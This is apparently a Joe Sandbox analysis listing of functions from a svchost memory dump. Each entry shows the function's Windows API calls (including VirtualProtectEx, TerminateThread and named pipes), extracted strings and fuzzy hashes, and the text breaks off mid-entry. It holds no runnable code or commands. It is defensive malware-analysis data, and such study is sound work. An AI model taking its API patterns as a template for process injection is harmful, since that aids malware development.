API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 47c5c9812b7ca215d1726492dddbe4c416650bb443fc8a163cb96cfe57a725b8
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: B7D17876248F8981DB709B1AE4943BA77E0F38CBC8F151166EA8D47BA9DF38C551CB00

Function 000001F28C932F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C932F27
HeapAlloc.KERNEL32 ref: 000001F28C932F3A
StrCmpNIW.SHLWAPI ref: 000001F28C932FAF
GetProcessHeap.KERNEL32 ref: 000001F28C933015
HeapFree.KERNEL32 ref: 000001F28C933023

Strings

dialer, xrefs: 000001F28C932FA8

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: b9cea8a45f337747782123fe34ee0897264f1dc14d1d7790dfee48e93a4f475a
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: FF316C36781F96C2EA55DF26E9407BA67E0FB48BC4F089174DE4847B66EF38C4A18700

Function 000001F28C93CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001F28C93CFAF
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93CFE5
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93D012
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93D023
FlsSetValue.KERNEL32(?,?,?,000001F28C93D6B5,?,?,?,?,000001F28C93D778), ref: 000001F28C93D034
SetLastError.KERNEL32 ref: 000001F28C93D04F

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 418adbff46a5a50f38b0b253e874f0d0017697ca07832169e1c80a98fc2d9935
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A8119D31394EC2C2FA24A73169557FA22D66B88BF4F1863B4E836477DAEF3984018600

Function 000001F28C93199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001F28C9319C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001F28C9319E0
PathFindFileNameW.SHLWAPI ref: 000001F28C9319EF
lstrlenW.KERNEL32 ref: 000001F28C9319FB
StrCpyW.SHLWAPI ref: 000001F28C931A0E
CloseHandle.KERNEL32 ref: 000001F28C931A1C

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 1a6447b746ba72951b106e25e3206bcaab34f772bbf3986eefe84e7ef40a23b2
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 5A012D71344E8282EB64DB62A4587B963E5F788BC5F488075DE4983765DF3CC549C740

Function 000001F28C9336C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F28C9336E4
GetCurrentProcess.KERNEL32 ref: 000001F28C9336F2
VirtualProtectEx.KERNEL32 ref: 000001F28C933714
GetCurrentProcess.KERNEL32 ref: 000001F28C933732
VirtualProtectEx.KERNEL32 ref: 000001F28C933753
TerminateThread.KERNEL32 ref: 000001F28C933762

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: efc9dd88066c2b846a4813f200c66da5525754cb4ea5464905f9a4518e267477
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 690129B5291F82C2FB249B22E8183B963E0BB49BC6F0844B8CD4E07765EF3DC1488700

Function 000001F28C938FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C939013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28C9390A8
RtlUnwindEx.NTDLL ref: 000001F28C9390F7

Strings

f, xrefs: 000001F28C939026
csm, xrefs: 000001F28C93908E

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: f9eb285e1d34bcdb7ed76620ca0307c61ee7c6b0458fb15f7398ffc743cad808
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: A451DF32345A828AEB14CF65E848BB977E6F344BC8F1A91B4DE0653788DB75CA81C700

Function 000001F28C931A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001F28C931A60
StrCmpNIW.SHLWAPI ref: 000001F28C931A7A
lstrlenW.KERNEL32 ref: 000001F28C931A89
StrCpyW.SHLWAPI ref: 000001F28C931A9E

Strings

\\?\, xrefs: 000001F28C931A6E

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: efef17bbaea8c09d0e74b7a2858e95e013f6fcdb200dc7db2845cff4b926692d
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 71F04F72344EC292EB608F21F8847B967A1F748BC9F889070DA4987964DF3CC68DCB00

Function 000001F28C933044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001F28C933066
StrCpyW.SHLWAPI ref: 000001F28C933076
StrCatW.SHLWAPI ref: 000001F28C933082
PathCombineW.SHLWAPI ref: 000001F28C933090

Strings

\\.\pipe\, xrefs: 000001F28C93305C

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 148976000f075657713aaae28a70d927c58dd9bf1c24965bf8e6e3b71b7eca3c
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: CBF01275754FC682EA148B53B9141B966A6BB48FD0F08D1B4EE5A47B18DF3CC4458700

Function 000001F28C93BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001F28C93BCBD
GetProcAddress.KERNEL32 ref: 000001F28C93BCD3
FreeLibrary.KERNEL32 ref: 000001F28C93BCFA

Strings

CorExitProcess, xrefs: 000001F28C93BCCC
mscoree.dll, xrefs: 000001F28C93BCB4

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: fc48c038c58eca095657e722b28af341116bf169d467f81dd0427d00468570f8
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 90F090B1351F8681EB208B29E8443F963A1FB89BE1F5456B9CA6A472E4DF3CC048C340

Function 000001F28C9350D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28C935156

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 695498e749fc0dccb61c5851ea1446fca79afe24a4ea5175a6ebc953a781018c
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: FE02B536259BC586EB60CB65E4943BAB7E1F3C8794F145065FA8E87BA8DB7CC444CB00

Function 000001F28C935710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28C935726

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: af79dd3a637af7051ac8258955ba177530c52f0ebe9781b5e5262fa2f630485f
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 9B61B736559E86C6E760CB25E4443BAB7E0F388BC4F5421A5FA8E47BA8DB7CC540CB00

Function 000001F28C944104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F28C94412C
_set_statfp.LIBCMT ref: 000001F28C944147
_set_statfp.LIBCMT ref: 000001F28C944163
_set_statfp.LIBCMT ref: 000001F28C94419F

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 18dd3864b1be54540109cc27050939df0162b2e3d2136eb0ccd191d63ff6d6f5
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 4B117032AD0ED3A2F6685568E8563F911C16B7C3F8F18C6F4E976077E6CB38CA416201

Function 000001F28C1E3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F28C1E352C
_set_statfp.LIBCMT ref: 000001F28C1E3547
_set_statfp.LIBCMT ref: 000001F28C1E3563
_set_statfp.LIBCMT ref: 000001F28C1E359F

Memory Dump Source

Source File: 00000043.00000002.3294067605.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: a4a41e1020a2a8b071d84c40f44e8a003d1d22f86d765e777ed5b7e6a37d2a97
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 101191B2AD0F1391FA641528E4C13F91BC16F593F4FC88639E966C73D68BB4C841C200

Function 000001F28C939650 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001F28C93966F
SetLastError.KERNEL32 ref: 000001F28C9396F6

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 46c896f13dff0714c7ccebb8ca9383bb675cc38bcf091c92c481f4a556b8b138
Instruction ID: 7bb4e64f612b34c83592e40eb8d5e89f9ecd63dea6d765824e11e06b7d663cc9
Opcode Fuzzy Hash: 46c896f13dff0714c7ccebb8ca9383bb675cc38bcf091c92c481f4a556b8b138
Instruction Fuzzy Hash: 26116030786EC382FF549735A8843F922D5AB487E4F0D66B4D926077D9EB38C841C700

Function 000001F28C1DF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001F28C1DF124

Strings

Tuesday, xrefs: 000001F28C1DF0F4
or copy constructor iterator', xrefs: 000001F28C1DF25A, 000001F28C1DF275
Wednesday, xrefs: 000001F28C1DF1ED

Memory Dump Source

Source File: 00000043.00000002.3294067605.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 8ad1ea8264d7c37166e6a84d5d136f736317519dcbce977c15a2e7b39df90729
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 1B61C1766A0E4242FA699B69E5C43FE6EE1E7867C0F544539DB0B077A4DB34FA42C300

Function 000001F28C93AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001F28C93AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001F28C93AAB7

Strings

RCC, xrefs: 000001F28C93AA85
MOC, xrefs: 000001F28C93AA7C

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: f049bdfa4467cedf291596ae25218e3f591c75243dbf1769f2e4c86082fcfec4
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: F8614737601A858AEB209FA5D8803FD77E1F344B98F089265EE4A57B99DB38C595C700

Function 000001F28C93AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C93ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F28C93AE88

Strings

csm, xrefs: 000001F28C93AEDA
csm, xrefs: 000001F28C93ADC2

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 9177f0bf0d9df7804a9a46984ee0add15a62b848f9b6fecfe92ace9b6ae30fc5
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 2B518F72140AC28AEB748BB59D843B977E0F354BE5F1CA265DA5947BD5CF38D860CB00

Function 000001F28C1D8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C1D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28C1D84A8

Strings

f, xrefs: 000001F28C1D8426
csm, xrefs: 000001F28C1D848E

Memory Dump Source

Source File: 00000043.00000002.3294067605.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: afc53225cc655b2fed49d42925427f3b528b099016d9c220d28cc2c64652b1ec
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 1D51AB32661A02CAFB18DB15E484BB93BE5F354BDCF518134DB1643B88EB78E841CB84

Function 000001F28C1D83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F28C1D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F28C1D84A8

Strings

f, xrefs: 000001F28C1D8426
csm, xrefs: 000001F28C1D848E

Memory Dump Source

Source File: 00000043.00000002.3294067605.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 5bb8fd39fd54a1bbbe4b45dd7fca3805f069a24c38516c4c1dc5b630a5076e57
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: C431BC72251B42D6F714DF12E884BA97BE8F740BC8F458124EF9A43B88DB38E941C784

Function 000001F28C942058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001F28C9420D7
WriteFile.KERNEL32 ref: 000001F28C94239F
WriteFile.KERNEL32 ref: 000001F28C9423E5
GetLastError.KERNEL32 ref: 000001F28C94249B

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: c39e5784b660c4a4d2f64d18794380c2bf08d3c743fbeb2aeb89f9dd3d7ee852
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: E0D19A72B54E818AE711CBA9D4402FC7BF1F358BD8F1482A6DE5997B99DB34C506C340

Function 000001F28C9314A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C9314C5
HeapFree.KERNEL32 ref: 000001F28C9314D4
GetProcessHeap.KERNEL32 ref: 000001F28C9314E1
HeapFree.KERNEL32 ref: 000001F28C9314F0
GetProcessHeap.KERNEL32 ref: 000001F28C931500

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 6a44d1e2dfff894d57fae1d393df2fad9fd7c7e601c52ccba1ddab5a2a16cdc8
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 90014476640ED1DAE704EF66E9082AAA7E0F78CFC1F088435EA4A43729EF38C151C740

Function 000001F28C942980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001F28C942A9C
GetLastError.KERNEL32 ref: 000001F28C942B27

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: fc060a2a777751a54c3aac3ae4014f4932e9590c1f0470bfe82fe847ff4173f9
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: DD91CE72B50ED289FB64DF6594903FD3BE0B745BC8F1481A9DE0AA7A95DB34C482C700

Function 000001F28C937960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001F28C93798C
GetCurrentThreadId.KERNEL32 ref: 000001F28C93799A
GetCurrentProcessId.KERNEL32 ref: 000001F28C9379A6
QueryPerformanceCounter.KERNEL32 ref: 000001F28C9379B6

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 96732df7916216e4dd4de8696d19f0f646e57f72df42aa736ed25244752b7042
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: B0111872790F428AEB008B70E8543B833A4F719798F441E35DA6D477A4EB78D2988380

Function 000001F28C93253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F28C932620
StrCpyW.SHLWAPI ref: 000001F28C932639

Strings

\\.\pipe\, xrefs: 000001F28C93262B

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: a81e46be2f1358104ca60f674bf27db7b8eb3ba3bc6c3102e371a9ccd66cc1d5
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 1B719F36280FC286EB259F36A8483FA67D4F389BC4F582076DD0A53B9ADF35D6458700

Function 000001F28C932330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F28C932416
StrCpyW.SHLWAPI ref: 000001F28C93242D

Strings

\\.\pipe\, xrefs: 000001F28C932421

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 2488fe1737ff95e66ad044885111441f0c3a749c14707708a82aa8e704c637ae
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: B551C072284FC381EB649A3AA4583FAA7D1F3857C0F4D61B5DE5903B9ADB39C6058740

Function 000001F28C9426F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001F28C942807
GetLastError.KERNEL32 ref: 000001F28C942829

Strings

U, xrefs: 000001F28C9427B3

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 2514762f6e10ab6845feae25dddec55dde5b08df4a5e13f98591cf2ab0d60153
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 60418D72615E8186EB209F25E8443FAB7A0F798BD4F548171EE4E87798EB3CC541CB50

Function 000001F28C9394A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001F28C9394F0
RaiseException.KERNEL32 ref: 000001F28C939531

Strings

csm, xrefs: 000001F28C93951E

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: a1389ac8532826ac596aaee6b13d59646ba39f355e91e1ec56b6d169f0d5a3fa
